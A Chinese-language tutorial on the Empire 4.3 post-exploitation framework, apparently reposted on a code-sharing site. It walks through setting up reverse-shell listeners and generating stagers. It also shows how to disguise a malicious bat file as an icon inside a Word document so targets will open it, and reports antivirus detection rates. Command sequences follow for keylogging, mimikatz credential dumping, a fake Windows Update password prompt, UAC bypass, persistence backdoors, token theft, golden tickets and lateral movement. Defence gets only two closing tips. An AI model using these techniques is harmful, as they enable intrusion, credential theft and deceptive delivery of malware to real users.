Empire4.3基本使用


簡介

Empire是一款針對Windows平台的、使用Powershell腳本作為攻擊載荷的滲透攻擊框架工具,具有從stager生成、提權到滲透維持的一系列功能。Empire實現了無需powershell.exe就可運行Powershell代理的功能,還可以快速在后期部署漏洞利用模塊,其內置模塊有鍵盤記錄、Mimikatz、繞過UAC、內網掃描等,使用能夠躲避內網檢測和部分安全防護工具的查殺,有點類似於Metasploit,是一個基於PowerShell的遠程控制木馬。

Empire 4 是一個開發后框架,包括純 PowerShell Windows 代理、Python 3.x Linux/OS X 代理和 C# 代理。它是之前的PowerShell Empire和Python EmPyre項目的合並,該框架提供加密安全通信和靈活的架構。

最新版本為4.3.3,原開發團隊不再維護,現在由Blog - BC Security (bc-security.org)繼續維護和更新

所有版本:bcsecurity/empire Tags | Docker Hub

安裝

#方法一
從github拉取
git clone https://github.com/BC-SECURITY/Empire.git
...
cd setup
./install.sh

#方法二
sudo apt install powershell-empire

#方法三
# Pull the latest image
docker pull bcsecurity/empire:latest

# Run the server with the rest api and socket ports open
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

# Run the client
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client

# To run the client against the already running server container
docker container ls
docker exec -it {container-id} ./ps-empire client

# with persistent storage
docker pull bcsecurity/empire:latest
docker create -v /empire --name data bcsecurity/empire:latest
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest

# if you prefer to be dropped into bash instead of directly into empire
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest

避雷

  • ping不通github

    修改/etc/hosts文件,添加 40.82.113.4 github.com

  • 部分插件如vinim可能無法拉取,安裝的時候選擇N(可能有部分功能不可用)

安裝完畢后,進入Empire文件夾,運行

./ps-empire service  # 啟動服務器,默認api端口1337,socketio 端口5000
./ps-empire client  # 啟動客戶端

RESTful API

從Empire 4.0開始,RESTful API是與服務器交互的唯一方法,並允許通過HTTP JSON請求編寫腳本和控制Empire。這種新方法允許多個用戶在沒有新的簡化客戶端的情況下與服務器進行交互。

該服務器可以通過運行 ./ps-empire server來啟動,並且可以連接到內置客戶端或StartKiller客戶端。默認情況下,RESTful API 在端口 1337 上啟動,使用位於 .empire/server/data/empire.pem 的證書通過 HTTPS 啟動,該證書可以使用 ./setup/cert.sh 或默認安裝腳本生成。可以通過在啟動時提供 --restport <PORT_NUM>來更改端口。

API默認用戶名:empireadmin,默認密碼:password123

Empire API 使用一個簡單的基於令牌的身份驗證系統為了向 API 發出任何請求,必須提供 ?token=X 參數,否則將返回 403 錯誤。

令牌在 rest API 啟動時隨機生成,該過程會顯示在命令行上。

要通過登錄界面檢索會話令牌,可以將請求發布到 /api/admin/login

rest API的具體使用可以查看https://bc-security.gitbook.io/empire-wiki/restful-api

#查看token
# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'

#response
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 57
Server: Werkzeug/0.11.4
Date: Thu, 31 Mar 2016 23:38:59 GMT

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

#查看版本
curl --insecure -i https://localhost:1337/api/version?token=token

#查看API路由表
curl --insecure -i https://localhost:1337/api/map?token=token

#顯示當前配置
url --insecure -i https://localhost:1337/api/config?token=token

......

基本接口

首次加載Empire時,用戶將被放入主菜單。唯一可用的命令是connect。可以將服務器加載到config.yaml中,並像connect -c localhost一樣調用它

admin

admin是一個管理菜單,它為團隊開發服務器管理員提供了管理用戶和服務器選項的選項。可以通過在控制台中鍵入 admin 來訪問管理菜單。進入此頁面后,管理員可以在團隊開發服務器中添加/刪除用戶,並可以修改代理將使用的混淆類型。

普通用戶將無法修改設置,但可以訪問注釋功能。Notes 允許用戶在其會話中記錄信息並將其存儲在服務器上。一旦將筆記發送到服務器,他們就可以從任何會話訪問他們的筆記。

listenners

提供所有活動偵聽器的概述列表。可以通過鍵入命令 kill <listener_name>來殺死偵聽器

uselisteners

查看偵聽器信息,設置相應參數並執行監聽

usestager

Empire 以模塊化格式在 ./lib/stagers/* 中實現了各種stagers。其中包括 DLL、宏、單行等。使用stager <stager_name>或點擊選項卡完成以選擇可用的stagers。

plugins

插件是Empire的擴展,允許加載自定義腳本,允許任何人輕松構建或添加社區項目以擴展Empire功能。插件可以從帝國 CLI 訪問

參考鏈接:Empire/PLUGINS.md at master · BC-SECURITY/Empire (github.com)

agents

用於交互和分配任務以及收集信息。進入此頁面時,將顯示活動代理列表,並且活動代理為綠色,死亡代理為紅色。在此菜單中可以使用代理各自的命令殺死、刪除、重命名和清除代理。

internet

與代理交互是操作員管理植入物的方式。Usemodule 可從代理內部訪問,並將在選項中預填充代理。可以通過鍵入 shell 來訪問交互式 shell 菜單,也可以直接通過 shell <命令>運行命令。其他選項包括下載和上載文件、管理代理通信和代理配置。

shell

交互式 shell 菜單為代理打開了一個類似 shell 的環境,包括向用戶顯示的當前工作目錄。所有命令都將發送到代理並返回到交互式 shell 窗口。要運行交互式 shell,只需 在任何代理中鍵入 shell,要退出 shell 會話,請鍵入 exit 以返回到代理

credential

嘗試解析標准 Mimikatz 輸出,並將它們保存在內部憑據存儲中。可以使用憑據命令從任何位置查看憑據。憑據存儲可以有效地作為黃金和白銀票證目錄運行,按需生成相應的票證,存儲密碼和哈希。可以通過鍵入 add <domain> <username> <password>將憑據添加到數據庫中。

usemoudle

用於將程序嵌入到PowerShell和Python腳本中的容器,包括:

Code Execution #代碼執行
Collection  #信息收集
Credentials  #憑證收集
Lateral Movements  #橫向移動
Management  #管理
Persistence  #持久化
Privilege Escalation  #提權
Situational Awareness #勢態感知,查找相關有用模塊
Trollsploit  #惡作劇

chat

聊天菜單與Empire中的聊天服務器進行交互。這允許用戶通過鍵入聊天來進出聊天室。當登錄到聊天室時,將顯示 20 條最新消息。當准備好返回上一個任務時,鍵入 back 並返回到上一個菜單

基本用法

幫助文檔

鍵入help可查看幫助文檔

admin:管理員菜單
agents:查看連接
connect:連接到empire實例
credentials:從數據庫添加/展示憑據
disconnect:empire實例斷開
help:幫助文檔
interact:連接到存活代理
listeners:監聽線程查看
plugins:插件
sponsors:贊助者
usecredential:查看/編輯憑據
userlisteners:使用監聽線程
usemodule:使用模塊
useplugin:使用插件
usestager:使用payload

返回主頁面:main

empire和msf的大體流程比較相似,需要設置監聽、生成payload、連接shell等

設置監聽

listeners #進入監聽線程界面
uselistener #設置監聽模式
info #查看具體參數設置
set #設置相應參數
execute #開始監聽
uselisteners

監聽方法
	http
	https
	...
	
修改監聽名
	set Name Time
	
設置shell回彈地址
	set Host http://192.168.43.239:1234

設置監聽端口
	set Port 1234

開啟監聽
	execute
	
在listenners可以查看相關信息,若設置失敗可以在服務端查看錯誤信息

Empire支持Dropbox和Onedriver的監聽

生成payload

stager類似MSF中的payload,其中multi為通用模塊,osx是Mac操作系統的模塊,其余為Windows的模塊

設置監聽器后,按back返回主菜單,輸入usestager (空格+tab)可顯示當前能生成的payload根據目標系統選擇對應payload

usestager 模塊名,選擇模塊名之后會出現該模塊的參數信息,Required為True要求必須設置參數,value為默認值

set Listener 監聽器名

生成payload
execute

注:較舊原來有launcher模塊,可以在設置完參數之后在監聽模塊直接launcher 生成base64編碼的代碼,當前版本已經取消

生成的patload連接后返回連接信息

payload舉例

launcher_vbs

usestager windows/launcher_vbs # 設置launcher_vbs木馬
set Listener test4
execute
在目標主機上運行生成的launcher.bat,成功獲得一個新的session

生成的bat文件沒有被火絨攔截,只給予警告;VT 22/58報黑

launcher_bat

usestager windows/launcher_bat
set Listener test5
execute

為了增加迷惑性,可以將bat文件插入一個office文件(word/excel)中,依次選擇插入---對象---選擇“由文件創建”---通過瀏覽“選定bat文件”---勾選“顯示為圖標”---“更改圖標”從而獲得更好的迷惑性,將圖標更改為word圖標,更改文件顯示名,可以獲得更好的迷惑性。

當目標機器用戶點擊了word中的附件,即可觸發運行bat,kali成功又獲得一個新session(365版本的office不允許打開內部附件和宏)

生成的bat文件沒有被火絨攔截,只給予警告;VT 28/57報黑

cmd_exec

usestager windows/cmd_exec
set Listener test5
execute

火絨攔截

連接會話和用法

agents #列出當前已連接的主機
angents相關操作:
list #作用同agents
interact #連接主機
kill  #刪除失效主機
rename #重命名主機
clear #清除主機任務

查看已經連接的會話

agents

若ID帶有*號代表已經提權

ID Name Language Internarl IP Username Process PID Delay Last Seen Listener

主機名為隨機生成,可以在agent下使用rename oldname newname重命名

連接后可在任務管理器中查看有powershell進程運行

選擇會話

interact Name

會話相關用法

display:顯示agent屬性
download:指定代理下載文件
history:顯示接受到的任務數
info:顯示代理信息
killdate:代理關閉日期,格式01/01/2020
proxy:配置agent代理的代理管理菜單
script_command:在當前導入的powershell執行一個功能
script_import:導入powershell腳本並保存在內存中
shell:運行一個特定agent執行shell命令,當前使用shell中的ls會報錯,是因為無法在ps2中使用一些核心功能
sleep:指定agent更新延遲和抖動
update_comms:更新一個監聽器
upload:上傳本地文件
view:查看指定task id的任務和結果
workinghours:設置工作時間
whoami:查看用戶
ps:查看進程(報錯)
sc:截圖
keylog:鍵盤記錄
sherlock:
mimikatz:運行/powershell/credentials/mimikatz/logonpassword模塊,獲取域密碼,需要提權
psinject:運行powershell/management/psinject模塊
revtoself:運行powershell/credentials/tokens模塊,revtoself為True
shinject:運行/powershell/management/shinject模塊
spawn:運行/powershell/management/spawn模塊
steal_token:運行powershell/credentials/tokens模塊,inpersonateuser為True
bypassuac:運行powershell/privesc/bypassuac_eventvwr模塊(可在連接之后直接嘗試使用提權),win11會有窗口變動,且不會提權成功

目前問題是有時運行幾分鍾后會斷連,暫未解決

選擇會話之后可以進行使用相關模塊進行提權或信息收集等操作

相關模塊

使用usemodule + 相關模塊工具

 info介紹
 Author        # 作者                                                      
 Background   # 后台運行?                                                        
 Comments     # github位置
 Description  # 相關描述      
 Language     # 相關語言,如powershell、python                                                
 Name         # 模塊全名(路徑)                          
 NeedsAdmin   # 是否需要管理員權限                                                  
 OpsecSafe    True ?                                                              
 Software     # ATTCK相關軟件                           
 Techniques   # ATTCK相關技術                        

Record Option  # 相關設置
│ Name │ Value │ Required │ Description|

模塊詳細信息:帝國模塊庫 - 信息安全重要 (infosecmatter.com)

AllChecks模塊

查看系統中的漏洞,使用方法和Powersploit下powerup的Invoke-AllChecks模塊一樣,該模塊可以執行所有腳本檢測系統漏洞,根據檢測到的漏洞可以選擇對應的模塊進行提權等操作

usemodule powershell/privesc/powerup/allchecks

AllChecks模塊的應用對象:
    任何沒有引號的服務路徑
    任何ACL配置錯誤的服務(可通過service_*利用)
    服務可執行文件上的任何設置不當的權限(可通過service_exe_*進行利用)
    任何剩余的unattend.xml文件。
    設置AlwaysInstallElevated注冊表項。
    如果有任何Autologon憑證留在注冊表中。
    任何加密的web.config字符串和應用程序池密碼。
    對於任何%PATH%.DLL的劫持機會(可通過write_dllhijacker利用)。

提權工具

Empire內置了PowerUp的部分工具,主要有windows系統錯誤配置漏洞,windows Services漏洞、AlwaysInstallElevated漏洞等8種提權方式
usemodule powershell/privesc/powerup/ <tab> <tab> # 查看所有powerup模塊

UAC提權
UAC(User Account Control)是微軟在 Windows Vista 以后版本引入的一種安全機制,通過 UAC,應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員特別授予管理員級別的系統訪問權限。UAC 可以阻止未經授權的應用程序自動進行安裝,並防止無意中更改系統設置。
UAC需要授權的動作包括:配置Windows Update;增加或刪除用戶賬戶;改變用戶的賬戶類型;改變UAC設置;安裝ActiveX;安裝或移除程序;安裝設備驅動程序;設置家長控制;將文件移動或復制到Program Files或Windows目錄;查看其他用戶文件夾等。
原理:
使用c:\windows\wscript.exe 執行payload,即繞過UAC實現管理員權限執行payload,只適用於win7系統,目前尚沒有補丁,部分殺軟會有提示。

Bypass UAC
usemodule powershell/privesc/bypassuac
設置listener
execute

list查看
usemodule powershell/private/bypassuac
當運行完提權模塊后,back返回agents查看,多了一個提權成功帶(*)號的agents

溢出漏洞提權
usemodule powershell/privesc/ms16-032
usemodule powershell/privesc/ms16-135

計划任務提權
usemodule powershell/persistence/elevated/schtasks 

管理模塊

usemodule management/enable_rdpmanagement/disable_rdp 禁用rdp
...

信息收集

usemodule powershell/collection/
usemodule powershell/situational_awareness/

常用模塊
部分結果保存在empire/server/downloads/主機名/模塊名下

usemodule powershell/collection/screenshot #截屏
usemodule powershell/collection/keylogger #鍵盤記錄,保存在empire/server/downloads/主機名/
usemodule powershell/collection/clipboard_monitor #剪貼板記錄

usemodule powershell/situational_awareness/network/powerview/process_hunter #獲取進程信息
usemodule powershell/situational_awareness/network/powerview/get_user #列出計算機用戶
usemodule powershell/situational_awareness/network/powerview/get_computer #列出計算機信息
usemodule powershell/situational_awareness/network/powerview/share_finder #列出域內所有共享
usemodule powershell/situational_awareness/host/winenum #查看本級機用戶,域組成員系統基本信息等
usemodule powershell/situational_awareness/host/computerdetails #列舉系統中所有有用信息,報告各種日志、RDP登錄信息
usemodule powershell/situational_awareness/network/reverse_dns  #dns信息獲取 
usemodule powershell/situational_awareness/host/dnsserver # 顯示當前內網dns服務器地址
usemodule powershell/situational_awareness/network/powerview/user_hunter # 查找域管登錄服務器IP
situational_awareness/network/powerview/get_domain_controller #獲取域控制器
situational_awareness/network/powerview/get_group #枚舉組信息


#社工模塊
模仿windows更新,要求身份驗證
usemodule collection/toasted
set ToastTitle "Your session will be terminated"
set ToastMessage "The system will restart in 5 minutes. Do you want to postpone the restart?"
set Application "Windows Update"
set CredBoxTitle "Are you sure you want to restart your PC?"
set CredBoxMessage "You must authenticate to perform this action"
excute
發送郵件
usemodule management/mailraider/management/mailraider/send_mail

#內網探測
arp掃描
usemodule powershell/situational_awareness/network/arpscan

若執行后無反應,有可能:
1、連接斷開
2、執行時間較長
3、empire bug,重新執行interact Name即可顯示

后門

#權限持久性劫持Shift后門
usemodule powershell/lateral_movement/invoke_wmi_debugger
在win7連續按五次shift鍵即可反彈會話

Sethc.exe可以替換成以下幾項:
Utilman.exe(使用Win+U組合鍵)
osk.exe (屏幕上的鍵盤:使用Win + U啟動組合鍵)
Narrator.exe (啟動講述人:使用Win + U 啟動組合鍵)
Magnify.exe(放大鏡:使用Win + U 組合鍵啟動)

#注冊表注入后門
該模塊運行后會在目標主機啟動項里增加一個命令
usemodule persistence/userland/registry
可以在注冊表中查找RegPath對應位置的內容
只要目標機重啟並登錄后,就會反彈一個會話

#計划任務獲取系統權限
到設置的具體時間將成功返回一個高權限的shell
usemodule powershell/persistence/elevated/schtasks
實驗返回為system用戶

橫向滲透

環境:win2008R2 Server + 1台win7服務器

令牌竊取
# 域環境下 win7 無法提權
# 使用管理員權限運行payload

大致步驟:
usemodule powershell/situational_awareness/network/arpscan #掃描內網
usemodule powershell/situational_awareness/network/powerview/find_localadmin_access  #查找本地管理員,判斷本機用戶是否是域內某一台主機的本地管理
usemodule powershell/situational_awareness/network/powerview/get_domain_controller  #查找域控
usemodule powershell/lateral_movement/invoke_wmi 或者bypassuac 提權
ps 查看是否有域管理的進程procid
steal_token procid #竊取administrator的身份,ps命令無法使用,無法進一步操作
shell dir \\域名\C& 查看域C盤目錄
mimikatz 獲取域控下相關憑證
# credentials 查看上一步獲取到的密碼,plaintext是明文密碼,hash是通過加密后的密碼
# usecredentials 選中保存的pth id,execute可以更新憑據

# 獲取域控權限
usemodule powershell/lateral_movement/invoke_wmi
set Listener C1ay
set CredID 3
set ComputerName 域名
execute

#獲取黃金票據
usemodule powershell/credentials/mimikatz/lsadump
usemodule powershell/credentials/mimikatz/golden_ticket
set credid 5
set user Administrator
execute


會話注入
# invoke_psexec
前提是已經獲得本地管理員權限,甚至域管理員賬戶,然后以次進一步滲透整個內網。優點是可以直接獲得system權限,缺點是該工具能被殺軟檢測並留下日志,而且需要開啟admin$445端口共享
usemodule lateral_movement/invoke_psexec

#invoke_wmi
比PsExec安全的多,所有Windows系統都啟動了該服務,當攻擊者使用wmiexec進行攻擊時,Windwos系統默認不會在日志中記錄這些操作,這意味着可以做到攻擊無日志,同時攻擊腳本無須寫入磁盤,具有極高的隱秘性,但如果目標機器開啟防火牆,則用WMI將無法連接上目標機器。
使用該模塊可以獲得administrator權限。如果該主機具有其他域用戶憑證,則可以進行橫向移動。

MSF與Empire

當拿到webshell上傳的MSF客戶端無法繞過目標主機的殺軟時,可以使用PowerShell來繞過,也可以執行Empire的Payload來繞過,成功之后再用Empire的模塊將其反彈回MSF

#empire
usemodule powershell/code_execution/invoke_shellcode
set Lhost ip
set Lport port
execute

#msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST ip
set LPORT port
run

Empire存在的bug:https://www.jianshu.com/p/c5153ee1eb76

防護措施

  • 開啟防火牆、殺軟

  • 攔截連續出現/admin/get.php,/news.php,/login/process.php的http會話


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM